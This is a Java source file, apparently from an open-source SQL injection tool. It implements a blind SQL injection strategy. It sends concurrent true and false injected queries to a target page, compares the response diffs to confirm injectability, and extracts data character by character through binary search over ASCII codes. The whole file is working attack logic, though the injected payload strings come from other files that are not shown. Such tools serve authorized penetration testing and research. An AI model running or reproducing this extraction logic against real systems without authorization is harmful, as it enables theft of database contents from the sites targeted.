InjectionBlindBin.java

package com.jsql.model.injection.strategy.blind;

import com.jsql.model.InjectionModel;
import com.jsql.model.exception.InjectionFailureException;
import com.jsql.model.exception.StoppedByUserSlidingException;
import com.jsql.model.injection.strategy.blind.callable.CallableBlindBin;
import com.jsql.util.LogLevelUtil;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.concurrent.CompletionService;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Future;
import java.util.concurrent.atomic.AtomicInteger;

import static name.fraser.neil.plaintext.diff_match_patch.Diff;
import static name.fraser.neil.plaintext.diff_match_patch.Operation;

/**
 * A blind attack class using concurrent threads.
 */
public class InjectionBlindBin extends AbstractInjectionMonobit<CallableBlindBin> {

    private static final Logger LOGGER = LogManager.getRootLogger();
    private static final int LOW = 0;
    private static final int HIGH = 127;

    private String sourceReferencePage;  // Source code of the TRUE web page (usually ?id=1)

    /**
     * List of string differences found in all the FALSE queries, compared
     * to the reference page. Each FALSE pages should contain
     * at least one same string, which shouldn't be present in all
     * the TRUE queries.
     */
    private List<Diff> falseDiffs = new ArrayList<>();
    private List<Diff> trueDiffs = new ArrayList<>();

    /**
     * Create blind attack initialization.
     * If every false diffs are not in true diffs and every true diffs are in
     * true diffs, then Blind attack is confirmed.
     */
    public InjectionBlindBin(InjectionModel injectionModel, BlindOperator blindOperator) {
        super(injectionModel, blindOperator);

        List<String> falsys = this.injectionModel.getMediatorVendor().getVendor().instance().getFalsyBin();
        if (falsys.isEmpty() || this.injectionModel.isStoppedByUser()) {
            return;
        }
        
        // Call the SQL request which must be TRUE (usually ?id=1)
        this.sourceReferencePage = this.callUrl(StringUtils.EMPTY, "bin#ref:"+ blindOperator.toString().toLowerCase());

        // Concurrent calls to the FALSE statements,
        // it will use inject() from the model
        ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetBlindBinTagFalse");
        Collection<CallableBlindBin> callablesFalsys = new ArrayList<>();
        for (String falsy: falsys) {
            callablesFalsys.add(new CallableBlindBin(
                falsy,
                injectionModel,
                this,
                blindOperator,
                -1, -1, -1,
                "bin#falsy"
            ));
        }
        
        // Delete junk from the results of FALSE statements,
        // keep only diffs found in each and every FALSE pages.
        // Allow the user to stop the loop
        try {
            List<Future<CallableBlindBin>> futuresFalsys = taskExecutor.invokeAll(callablesFalsys);
            this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
            for (Future<CallableBlindBin> futureFalsy: futuresFalsys) {
                if (this.injectionModel.isStoppedByUser()) {
                    return;
                }
                if (this.falseDiffs.isEmpty()) {
                    this.falseDiffs = futureFalsy.get().getDiffsWithReference();  // Init diffs
                } else {
                    this.falseDiffs.retainAll(futureFalsy.get().getDiffsWithReference());  // Clean un-matching diffs
                }
            }
        } catch (ExecutionException e) {
            LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
        } catch (InterruptedException e) {
            LOGGER.log(LogLevelUtil.IGNORE, e, e);
            Thread.currentThread().interrupt();
        }

        if (this.injectionModel.isStoppedByUser()) {
            return;
        }
        
        this.cleanTrueDiffs(injectionModel, blindOperator);
    }

    private void cleanTrueDiffs(InjectionModel injectionModel, BlindOperator blindOperator) {
        ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetBlindBinTagTrue");
        Collection<CallableBlindBin> callablesTruthys = new ArrayList<>();
        List<String> truthys = this.injectionModel.getMediatorVendor().getVendor().instance().getTruthyBin();
        for (String truthy: truthys) {
            callablesTruthys.add(new CallableBlindBin(
                truthy,
                injectionModel,
                this,
                blindOperator,
                -1, -1, -1,
                "bin#truthy"
            ));
        }
        
        // Remove TRUE diffs in the FALSE diffs as FALSE statement shouldn't contain any TRUE diff.
        try {
            List<Future<CallableBlindBin>> futuresTruthys = taskExecutor.invokeAll(callablesTruthys);
            this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
            for (Future<CallableBlindBin> futureTruthy: futuresTruthys) {
                if (this.injectionModel.isStoppedByUser()) {
                    return;
                }
                if (this.trueDiffs.isEmpty()) {
                    this.trueDiffs = futureTruthy.get().getDiffsWithReference();  // Init diffs
                } else {
                    this.trueDiffs.retainAll(futureTruthy.get().getDiffsWithReference());  // Clean un-matching diffs
                }
                this.falseDiffs.removeAll(futureTruthy.get().getDiffsWithReference());
            }
        } catch (ExecutionException e) {
            LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
        } catch (InterruptedException e) {
            LOGGER.log(LogLevelUtil.IGNORE, e, e);
            Thread.currentThread().interrupt();
        }
    }

    @Override
    public CallableBlindBin getCallableBitTest(String sqlQuery, int indexChar, int bit) {
        return null;  // unused
    }

    @Override
    public boolean isInjectable() throws StoppedByUserSlidingException {
        if (this.injectionModel.isStoppedByUser()) {
            throw new StoppedByUserSlidingException();
        }
        var blindTest = new CallableBlindBin(
            this.injectionModel.getMediatorVendor().getVendor().instance().sqlBlindConfirm(),
            this.injectionModel,
            this,
            this.blindOperator,
            -1, -1, -1,
            "bin#confirm"
        );
        try {
            blindTest.call();
        } catch (Exception e) {
            LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
        }
        return blindTest.isTrue()
            // when insertionChar = true then pages ref == truthy == falsy == confirm => falsy cleaned empty, truthy with opcode EQUAL not reliable
            && this.trueDiffs.stream().anyMatch(diff -> !Operation.EQUAL.equals(diff.operation))
            || this.falseDiffs.stream().anyMatch(diff -> !Operation.EQUAL.equals(diff.operation));
    }

    @Override
    public void initNextChar(
        String sqlQuery,
        List<char[]> bytes,
        AtomicInteger indexChar,
        CompletionService<CallableBlindBin> taskCompletionService,
        AtomicInteger countTasksSubmitted,
        AtomicInteger countBadAsciiCode,
        CallableBlindBin currentCallable
    ) {
        int low;
        int mid;
        int high;

        if (currentCallable != null) {
            low = currentCallable.getLow();
            mid = currentCallable.getMid();
            high = currentCallable.getHigh();

            if (low >= high) {  // char found
                if (this.isCorruptOrElseNextChar(bytes, indexChar, countBadAsciiCode, currentCallable, low)) {
                    return;  // too many errors
                }
                low = InjectionBlindBin.LOW;
                high = InjectionBlindBin.HIGH;
            } else if (currentCallable.isTrue()) {  // current >= mid
                low = mid + 1;
            } else {  // current < mid
                high = mid - 1;
            }
        } else {
            low = InjectionBlindBin.LOW;
            high = InjectionBlindBin.HIGH;
            bytes.add(AbstractInjectionBit.getBitsUnset());
            indexChar.incrementAndGet();
        }

        mid = low + (high - low) / 2;
        taskCompletionService.submit(
            new CallableBlindBin(
                sqlQuery,
                indexChar.get(),
                this.injectionModel,
                this,
                this.blindOperator,
                low, mid, high,
                String.format("bin#%s~%s<%s<%s", indexChar, low, mid, high)
            )
        );
        countTasksSubmitted.addAndGet(1);
    }

    private boolean isCorruptOrElseNextChar(List<char[]> bytes, AtomicInteger indexChar, AtomicInteger countBadAsciiCode, CallableBlindBin currentCallable, int low) {
        if (low == 0 || low == 127) {
            countBadAsciiCode.incrementAndGet();
        } else {
            low = currentCallable.isTrue() ? low : low - 1;
        }
        char[] asciiCodeMask = bytes.get(currentCallable.getCurrentIndex() - 1);  // bits for current url
        this.setAsciiCodeMask(asciiCodeMask, low);

        try {
            this.isCharCompleteWithCorruptCheck(bytes, countBadAsciiCode, currentCallable);
        } catch (InjectionFailureException e) {
            return true;
        }

        bytes.add(AbstractInjectionBit.getBitsUnset());
        indexChar.incrementAndGet();
        return false;
    }

    private void setAsciiCodeMask(char[] asciiCodeMask, int value) {
        String binary = StringUtils.leftPad(Integer.toBinaryString((char) value), 8, "0");
        for (int i = 0; i <= 7; i++) {
            asciiCodeMask[i] = binary.charAt(i);
        }
    }

    @Override
    public char[] initMaskAsciiChar(List<char[]> bytes, CallableBlindBin currentCallable) {
        return bytes.get(currentCallable.getCurrentIndex() - 1);
    }

    @Override
    public String getInfoMessage() {
        return "- Strategy Blind bin: query True when Diffs are matching " + this.falseDiffs + "\n\n";
    }
    
    
    // Getter and setter

    public String getSourceReferencePage() {
        return this.sourceReferencePage;
    }
    
    public List<Diff> getFalseDiffs() {
        return this.falseDiffs;
    }

    public List<Diff> getTrueDiffs() {
        return this.trueDiffs;
    }
}